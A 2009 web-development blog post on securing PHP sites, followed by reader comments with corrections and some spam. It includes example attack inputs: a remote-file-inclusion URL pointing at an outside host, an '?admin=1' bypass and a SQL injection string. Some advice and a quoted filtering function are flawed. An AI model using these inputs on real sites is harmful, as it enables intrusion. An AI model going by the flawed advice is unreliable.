Noupe Editorial Team July 6th, 2009

PHP Security: Fortifying Your Website- Power Tips, Tools & How to’s

Defining PHP Security and It’s uses

PHP is the most popular web programming languages in use today due in large part to the fact that it’s a highly flexible syntax that can perform many functions while working flawlessly in conjunction with html – Plus it’s relatively easy to learn for beginners, yet it’s powerful enough for advanced users as well. It also works exceptionally well with open source tools, such as the Apache web server and MySQL database. In other words, its versatility is unsurpassed when compared to other scripting languages, making it the language of choice for many programmers.

Though many programmers and developers may be implementing PHP in their websites, the issue of PHP security is often overlooked when building a site. Insecure coding is rather common in PHP due to the fact that it’s such a forgiving language that will often “work” even when there are a few loose ends in the coding. These “loose ends” are what hackers are looking for, and in PHP, they’re not that hard to find. The key is for you to find them first, and to leverage PHP’s unique features to minimize your security vulnerability.

PHP Security involves minimizing programming errors as much as possible, and putting proper code in place to protect against possible vulnerabilities – Often times this means putting 2-3 “layers” of protection in place to guard sensitive data against hackers that could otherwise cause a catastrophic result if compromised. Developers call this principle of redundant safeguarding Defense in Depth, and this concept has been proven over the years to be an extremely effective defense against malicious attacks.

Types of Attacks

There are various types of attacks that PHP is particularly vulnerable to, and any website that sends or receives information is at risk of an attack – ranging from an annoyance to catastrophic – so it’s important to put the proper security in place to minimize the risk. The two main types of attacks are human attacks and automated attacks – Both of which can potentially devastate a website.

The most common type of human attacks are little more than annoyances and are common at file storage sites and forums, such as abusing file storage policy, defamation, lobbying at sites such Amazon or Yahoo Answers, and other similar abuse that doesn’t necessarily involve manipulation of your website’s source code. Humans can also find security holes that allow them to access source code and use it maliciously. This can potentially cause substantial damage to your website, so this is the type of human attack you should focus your efforts on.

Automated attacks are particularly dangerous because of their efficiency in using the power of automated scripts to wreak havoc on your website in a number of different ways. These attacks may slow down your site, access the error logs, manipulate the source code, or compromise sensitive information – The possibilities are seemingly endless. The most common, and notorious, type of automated attack are viruses and worm, which are slightly different in nature but are similar in the way that they can potentially harm a website.

The goal of PHP security is to minimize, and ultimately eliminate, the potential for both human and automated attacks by putting into place strategic lines of defense to eliminate access to your site by unverified users. The way you go about doing this is to target the most common types of PHP security breaches first, so that you make your website airtight against malicious attacks. So what are the most common types of PHP security breaches?

Most Common PHP Security Vulnerabilities

Experienced hackers know the most common types of security holes to look for in PHP, so it’s important to address these issues first. It doesn’t matter whether you’re a beginner or expert PHP programmer, every programmer makes mistakes now and then, and hackers will find it if you don’t first.

1. Register_Globals

Register_Globals makes writing PHP applications simple and convenient for the developer, but it also poses a potential security risk. This setting is located in PHP’s configuration file, which is php.ini, and it can be either turned on or off. When turned on, it allows unverified users to inject variables into an application to gain administrative access to your website. Most, if not all, PHP security experts recommend turning register_globals off.

For example take a look at the code snippet below. A user could append the end of a page's url with ?admin=1 to basically force entry to administrative areas that would normally require a password.

PHP Security Post Image

With register_globals turned off, this type of forced entry isn’t possible. The good news is that PHP 4.2.0 has register_globals turned off as its default setting, and PHP 6.0.0 has actually removed the feature. While some developers frown upon this move because register_globals off makes programming in PHP slightly more time-consuming, but in terms of PHP security it’s a crucial step in the right direction.

So instead of relying on register_globals, you should instead go through PHP Predefined Variables, such as $_REQUEST. To further tighten security, you should also specify by using: $_ENV, $_GET, $_POST, $_COOKIE, or $_SERVER instead using the more general $_REQUEST.

2. Error Reporting

Error reporting is a great tool for diagnosing bugs and allowing you to fix them quicker and easier, but it also poses a potential security threat. The problem occurs when the error is visible to others on-screen, because it reveals possible security holes in your source code that a hacker can easily take advantage of. If display_errors is not turned off, or have a value of “0”, the output will appear on the end user’s browser – Not good for security! You do, however, want to set log_errors to on, and then indicate the exact location of the log with error_log.

Take a look at the table below from PHPFreaks.com, which points out the recommended settings for both production and development instances of PHP web applications.

PHP Security Post Image

3. Cross-Site Scripting (XSS)

Cross-site scripting, or XSS, is a way for hackers to gather your website’s user data by using malicious markup or JavaScript code to trick a user, or their browser, to follow a bad link or present their login details to a fake login screen that instead of logging them in, steals their personal information. The best way to defend against XSS is to disable JavaScript and images while surfing the web, but we all know that’s nearly impossible with so many websites using JavaScript’s rich application environment these days.

To defend against XSS attacks, you need to be proactive – Don’t wait until your website has already been exploited. For instance, PHP applications that use form submission, or POST requests, are much less vulnerable than GET requests. So it’s very important that you spell out which variables and actions will be allowed as GET values, and also which ones must come via POST values. In a nutshell, defending against XSS involves controlling the user input at your site and making sure that it goes through a filtering process to ensure that it’s void of malicious code.

An example of filtering user input can be found in the snippet of code below that was taken from Pro PHP Security by Chris Snyder and Michael Southwell.

PHP Security Post Image

This relatively straightforward piece of code works by preventing html and JavaScript from being embedded in the input, which results in a completely safe version of the input. This is especially useful for comment sections of a blog, forums and other web applications that receive user input.

Also useful for protecting against XSS is a useful PHP function called htmlentities(). This simple function works by converting all characters in html to their corresponding entities, such as “<” would convert to “<” (without the quotes).

4. Remote File Inclusion (RFI)

This type of attack is relatively unknown amongst developers, which makes it an especially damaging threat to PHP security. Remote file inclusion, or RFI, involves an attack from a remote location that exploits a vulnerable PHP application and injects malicious code for the purpose of spamming or even gaining access to the root folder of the server. An unverified user gaining access to any server can wreak major havoc on a website in many different ways, including abusing personal information stored in databases.

A great example of an RFI attack can be found atPHPFreaks.com. Here's an exerpt from that page:

Imagine that at http://example.com/malice.php a file exists and our script is located at http://site.com/index.php. The attacker will do this request: http://site.com/index.php?page=http://example.com/malice. This file will get executed when it is included and it will a write a new file to the disk.

The best way to secure your site from RFI attacks is through php.ini directives – Specifically, the allow_url_fopen and the allow_url_include directives. The allow_url_fopen directive is set to on by default, and the allow_url_include is set to off. These two simple directives will adequately protect your site from RFI attacks.

Other PHP Security Tools

While the most effective way to secure PHP web application is through accurate coding and vigilante monitoring of your site, there are other helpful tools out there that can help to quickly and easily point out possible vulnerabilities in your PHP coding. Here are three useful tools that can be beneficial to PHP developers:

- PhpSecInfo

PHP Security Post Image

This useful tool reports security information in the PHP environment, and best of all, it offers suggestions for improving the errors. It’s available for download under the “New BSD” license, and the PhpSecInfo project is always looking for more PHP developers to help improve this tool.

PHP Security Post Image

Download PhpSecInfo Here.

- PHP Security Scanner

This is a tool used to scan PHP code for vulnerabilities, and it can be used to scan any directory. PHP Security Scanner features a useful UI for better visualization of potential problems, and it supports basic wild card search functionality for filtering directories or files that are to be searched.

Download PHP Security Scanner Here

It’s also worth making use of an SQL injection vulnerability scanner alongside this PHP-focused solution, giving you a more comprehensive overview of your site’s security setup and streamlining subsequent troubleshooting efforts.

Author: Joel Reyes

Joel Reyes Has been designing and coding web sites for several years, this has lead him to be the creative mind behind Looney Designer a design resource and portfolio site that revolves around web and graphic design.

Write for Us! We are looking for exciting and creative articles, if you want to contribute, just send us an email.

Noupe Editorial Team

The jungle is alive: Be it a collaboration between two or more authors or an article by an author not contributing regularly. In these cases you find the Noupe Editorial Team as the ones who made it. Guest authors get their own little bio boxes below the article, so watch out for these.

73 comments

  1. Some quick stuff:
    Turning off register_globals is not necessary for security. Instead, in the given example, the coder could have included admin=false in the top of the file, thereby nullifying any potential flaws.
    For XSS, a simple htmlspecialchars() command will sanitize the input (can’t XSS if you can’t open the script tag).

  2. the Register Globals setting is by far the most obvious and easily preventable security flaw I see in all sorts of PHP apps

  3. You say that “there are various types of attacks that PHP is particularly vulnerable to.” I would just like to clarify that PHP itself isn’t vulnerable to these attacks – rather websites built using PHP are primarly due to incompetent programmers.

    That being said – very nice post!

  4. For the love of god, dude, “IT’S” is a contraction of “it is”; “ITS” is the possessive form of “it.”

  5. Am I thinking wrong? In my opinion, hint #3 doesn’t prevent XSS because the variables should be filtered directly. So I would write:

    $title = safe( $_POST[‘title’] );

    Otherwise, a hacker could infiltrate bad code because $title doesn’t filter the input.

  6. Thanks a lot, that’s really usefull !
    By the way does anyone have a cheatsheet explaining the differencies between:
    htmlentities();
    htmlspecialchars();
    ENT_QUOTES
    and so on… ?
    Thanks again !

  7. really usefull post for me :)

    i want to know more about php attack so we can develop a better script :D

    @Simon
    btw u can go through to php.net :)

    regards

  8. @ghprod
    Don’t worry I’m not the kind to ask before I took a look by myself.
    That’s why I was asking for a cheat sheet ;) A quick look on the sheet and you’re done.

  9. Thanks, I’m definitely going to check the security of my projects. Currently I’m busy with a WebOS, which needs to be as secure as possible.

  10. When a variable, which is supposed to contain an integer, is incoming via POST or GET into a PHP script, it is the right thing to use casting.
    $a = (int)$_POST[‘a’];
    It is fast, it does not take resources, and serializes the variable containing an integer.

    1. Casting an unfiltered variable is never the right thing to do.

      Always filter data before processing it. You don’t know what’s in there.

      1. I must agree here!

        If you are expecting your values to be numeric, then string values will simply return 0’s.

        Also generally a very good idea to get good with using preg_match(), and other similar regular expressions on your returned data. It may be that not all systems are as up-to-date enough to have “htmlentities” available to your scripts.

        – Just a thought.

        – Jim.

  11. Another important Security issue in PHP is SQL injection. SQL injection attacks are extremely simple to defend against, but many applications are still vulnerable. Consider the following SQL statement:

    This query is constructed with $_POST, which should immediately look suspicious.

    Assume that this query is creating a new account. The user provides a desired username and an email address. The registration application generates a temporary password and emails it to the user to verify the email address. Imagine that the user enters the following as a username:

    bad_guy’, ‘mypass’, ”), (‘good_guy
    This certainly doesn’t look like a valid username, but with no data filtering in place, the application can’t tell. If a valid email address is given ([email protected], for example), and 1234 is what the application generates for the password, the SQL statement becomes the following:

    Rather than the intended action of creating a single account (good_guy) with a valid email address, the application has been tricked into creating two accounts, and the user supplied every detail of the bad_guy account.

    While this particular example might not seem so harmful, it should be clear that worse things could happen once an attacker can make modifications to your SQL statements.

    For example, depending on the database you are using, it might be possible to send multiple queries to the database server in a single call. Thus, a user can potentially terminate the existing query with a semicolon and follow this with a query of the user’s choosing.

    MySQL, until recently, does not allow multiple queries, so this particular risk is mitigated. Newer versions of MySQL allow multiple queries, but the corresponding PHP extension (ext/mysqli) requires that you use a separate function if you want to send multiple queries (mysqli_multi_query() instead of mysqli_query()). Only allowing a single query is safer, because it limits what an attacker can potentially do.

    Protecting against SQL injection is easy:

    Filter your data.

    This cannot be overstressed. With good data filtering in place, most security concerns are mitigated, and some are practically eliminated.

    Quote your data.

    If your database allows it (MySQL does), put single quotes around all values in your SQL statements, regardless of the data type.

    Escape your data.

    Sometimes valid data can unintentionally interfere with the format of the SQL statement itself. Use mysql_escape_string() or an escaping function native to your particular database. If there isn’t a specific one, addslashes() is a good last resort.

    1. Thank you all for your comments! They are much appreciated!

      If you have any questions, please feel free to ask.

    2. Good points, but it’s helpful to distinguish between different kinds of data. Input should be filtered; output should be escaped.

      I’m not sure about “Quote your data”, either, in the context of SQL. It’s a good practice if you’re doing something like:

      query(“SELECT * FROM table WHERE id=’$id'”);

      But you shouldn’t be doing something like this. Instead you should be binding parameters (psuedo-code follows):

      $sql = “SELECT * FROM table WHERE id=?”;
      execute($sql, array($id));

      This keeps your data totally separate from your query. The ability to bind parameters is built in to PHP 5’s PDO class.

    3. I am new and very inexperience with php and web programming. So please help if you could.

      This question is about SQL injection:

      If I have an input which can only be a 4-digit postcode. This postcode is used to run an MySQL query. Since i know it needs to be numbers only and must be 4 digits in lenght (make size = 4), then I can simply check the input to make sure it is valid before running the query, otherwise, I prompt user to re-enter a valid postcode.

      Is this good enough? Or am I still running a risk of SQL injection?

  12. To filter and sanitize external data I like to use these two functions filter_var() and filter_input() which are best practices, so just go ahead with these best practices ;)

  13. All PHP vulnerabilities are due to programming errors; the language is not itself vulnerable. Most of these vulnerabilities are based on inadequate filtering of input whether it’s from the URL or posted data.

    PHP frameworks can assist greatly with this onerous task and would be highly recommended for any production site. KohanaPHP and CodeIgniter are two I’d recommend but their bare-minimum approach may not suit your own programming abilities.

    Alternatively, make sure you have a good backup. A cron job that dumps your database and a scheduled rsync or FTP dump would be well-advised. It’s kept me out of hot water for many years even when my programming skills let me down.

    1. “All PHP vulnerabilities are due to programming errors; the language is not itself vulnerable”

      Not true, else why would the PHP team be constantly releasing new versions with security fixes.

      Maybe what you meant was that PHP itself is no more or less secure than any other programming language?

  14. Hardened PHP has tools to help secure PHP. And mod_security on the web app side to secure the web frontend.

  15. I’m a bit of a beginner still in PHP. Wondering about logins (using php4 i guess). If I have a page.php that has a form with a login, this info will be passed on to page2.php where the username/passwords are stored (Can’t use MySQL DB for this sample so go along), is this safe? What is a better way of doing this?

  16. I’d also recommend turning off your php version info in the http headers to avoid someone possibly targeting a known vulnerability.

    eg.
    expose_php Off

  17. I’m surprised this post didn’t mention SQL Injection, which to my knowledge is one of the most common and widely exploited PHP security vulnerabilities.

    As mentioned in the article, since PHP 4.2.0 register globals has been turned OFF by default, and I would be surprised if any responsible web host has it turned on.

    Another security vulnerability to consider is email header injection, which exploits the mail() function to hijack a website’s contact form for the puspose of sending spam email.

  18. Hey this is fantastic stuff… I have sent it through our development group and asked for a report on the security tools mentioned. We would have loved to stumble on this article about 2 years ago but it is great information for those who are venturing into PHP.

    BTW the SQL injection comment is brilliant, this page will be saved in many developers Favorites files.

    Cheers

  19. For #3 (XSS), you completely omitted the idea of cleaning user input, which I expected to see on this list.

    For instance, if:
    $title = $_POST[‘title’];
    was only meant to be text, why not remove things you don’t allow?

    $title = preg_replace(‘/[^a-z\d\,\s/i’, ”, $_POST[‘title’];
    will allow only alphanumeric characters, spaces and commas. Now there’s nothing to worry about since any characters that could break our code are now gone.

    1. This is good, but it would be even better to use PHP’s “filter” functions:

      http://us.php.net/manual/en/ref.filter.php

      filter_input() would be the right one for the job of extracting a POST variable. The function has the added benefit of bypassing those evil magic_quotes if they happen to be turned on and you can’t turn them off.

    2. Sanitizing is the best practise, but keep in mind that your code has to be ‘leightweight’ (at least in my opinion). So, only use regular expressions when you exacly know the format needed. Don’t ‘automagically’ remove stuff the user typed in, because then the result would be an unexpected one.
      Then, the next step would be preventing to rely on fallback values (ex: when $_POST wasn’t set at all, php will throw a notice and fall back to an empty array). This can be fixed easily; so I’ve done it for a few datatypes:

      // check for nummeric value
      $nummeric = !empty($_POST[‘nummeric’]) ? (int)$_POST[‘numeric’] : 0;

      // check for string
      $string = !empty($_POST[‘string’]) ? (string)$_POST[‘string’] : ”;

      // email (regex isn’t valid!)
      $emailaddress = !empty($_POST[’email’]) && preg_match(‘/\w+@\w+.\w+/’, $_POST[’email’]) ? $_POST[’email’] : ”;

      // known set of options? like gender:
      $allowed_genders = array(‘unknown’, ‘male’, ‘female’);
      $gender = !empty($_POST[‘gender’]) && in_array($_POST[‘gender’], $allowed_genders) ? $_POST[‘gender’] : $allowed_genders[0];

      Further, it’s important to know that user data should always be checked before put into queries eg. Don’t expext that a user knows a ‘ or ” could cause harm. There are several ways of making them harmless, but how to do so, is depending on the goal of the data.
      Here are some ways with their use:

      // Remove entirely
      $not_allowed_chars = array(‘\”, ‘”‘);
      $data = str_replace($not_allowed_chars, ”, $subject);

      // escape (‘ => \’)
      $data = addslashes($subject);

      // Encode (mind ENT_QUOTES)
      $data = htmlspecialchars($subjecy, ENT_QUOTES);

      Well, I hope this helps a bit ;)

  20. While SQL injection was beyond the scope of this article, since it’s as much an SQL problem as it is a PHP one, my comments on data cleansing above using preg_replace will prevent SQL injections as well.

    1. preg_replace() might prevent SQL injections. Or it might not, in certain cases. Your example regex permits whitespace and commas, for example, which could wreak havoc in poorly-written SQL-related code.

      I would suspect that, where possible, it’s better to branch to an error path when the code encounters invalid content, rather than trying to cleanse the data.

  21. @Simon:
    htmlspecialchars() escapes a sub-set of htmlentities() and is therefore much faster than htmlentities(). For escaping user input data, htmlspecialchars() is usually preferred.

    ENT_QUOTES is really the kicker in preventing XSS in that you are specifically telling the function to escape double/single quotes.

    The final param is your charset. UTF-8, etc.

    If you want to test your forms against XSS, just google ‘XSS Cheat Sheet’…

    1. @Stephan: “htmlspecialchars() escapes a sub-set of htmlentities() and is therefore much faster than htmlentities()”

      Do you have a reference for this, or have you benchmarked it yourself? Just wondering because, depending on how the functions are implemented in the PHP core, that might not actually be true.

      If I’m escaping output I’m going to use htmlentities() because it’s more thorough and therefore more secure. If my code is performing meaningfully slower because I’m using htmlentities(), then I probably need to re-factor my code — not replace one core function with another that’s potentially less secure.

      1. htmlentities translates ALL html chars and non-english language characters. htmlspecialchars sub-set is smaller. The number of iterations over the translation tables needed is much smaller than with htmlentities. You can see the difference by outputting the two translation tables with the following:

        echo var_dump( get_html_translation_table( HTML_SPECIALCHARS ) );

        and

        echo var_dump( get_html_translation_table( HTML_ENTITIES ) );

        Using htmlentities or htmlspecialchars isn’t the only step in preventing XSS. However, if you are looking to translate html chars simply for XSS within the logic of your user input filtering, htmlspecialchars provides the necessary means to do this (with escaping single/double quotes).

        I agree though, in most cases using htmlentities vs htmlspecialchar will not vary much in terms of performance.

      2. Just took a look at the PHP core code and I think you’re right, htmlspecialchars() has got to perform better than htmlentities().

        It’s not because of the size of the translation tables, though. Turns out that, in the underlying C code, there are separate maps for the “basic” characters covered by htmlspecialchars(), and for the higher-value characters covered by htmlentities().

        If you call htmlentities(), each character in your string gets checked against both maps.

        But if you call htmlspecialchars(), each character only gets checked against the “basic” map.

        So yes, many more CPU cycles consumed by htmlentities(). Does it make a significant difference at the PHP level? I guess that would depend on the PHP app.

  22. With PHP 5.3 released, your error_reporting bit flag should be E_ALL | E_STRICT for development purposes.

  23. Hey there :) this is an awesome post. But I would like to you all to use x-debug before making your project live. You can install x-debug for PHP, a debugging tool and can encounter any errors in staging phase itself.

  24. Kicking off 2010’s mixed martial arts is the brilliant UFC 108. It’s definitely going to be a great event with the kickoff being Evans vs Silva going head to head. You can watch evans vs silva video for FREE in full HD without paying that grotty $55.95 PPV cost.

  25. There is an error in the above safe() function:

    function safe($value) {
    htmlentities($value, ENT_QUOTES, ‘utf-8’);
    return $value;
    }

    Returns $value as-is instead of filtering as htmlentities does not take it’s parameter by reference. The correct could be:

    function safe($value) {
    return htmlentities($value, ENT_QUOTES, ‘utf-8’);
    }

    1. All you really did was remove one step from your code.

      Not that this is a BAD thing, but you really didn’t change the logic of your function any.

      – Jim

  26. I search the topic in these days. At last I am luck to find your blog. I love your web page! did you create this yourself or did you outsource it? Im in search of a blog design thats similar so thats the only cause I’m asking. Either way keep up the great work I was impressed with your content genuinely. BTW, could I use your thread on my blog or could we do links exchange? Have a good day. My blog is Blackberry Phone Guide

  27. Hey there, You’ve done an excellent job. I’ll definitely digg it and personally suggest to my friends. I’m sure they’ll be benefited from this web site.

  28. Many people are making money through blogging.Are you blogging for money now?I find that this blog (www.work-at-home-business-opportunity-online.com) shares many useful tips.

  29. Attractive section of content. I just stumbled upon your site and in accession capital to assert that I get in fact enjoyed account your blog posts. Anyway I will be subscribing to your feeds and even I achievement you access consistently quickly.

  30. Have you ever thought about publishing an e-book or guest authoring on other websites? I have a blog centered on the same subjects you discuss and would love to have you share some stories/information. I know my visitors would appreciate your work. If you’re even remotely interested, feel free to send me an e mail.

  31. Nice that i got this as first search result in google when i typed php security tips.
    This is really good information and i have not known about the last hack RFI.
    What about session hijacking?
    Hope you can expand this tutorial by including some more hacks and preventions. :)

  32. Maybe a comment on the “.htaccess” file?

    Making sure those settings are up-to-date by including severe restrictions on your data-containing folders, and any subfolders that hold your administration modules is in order?

    I always believe in using ALL security features together on your server.

    Disabling all JavaScripts and images for every web page may not be the way to go these days! Many sites will only display properly if you allow THEIR scripts and images ( as well as “styles” ) to load. So this may be a method that will backfire on the user, especially for some e-commerce sites.

    – Just another “stray thought”.

    – Jim

Leave a Reply

Your email address will not be published. Required fields are marked *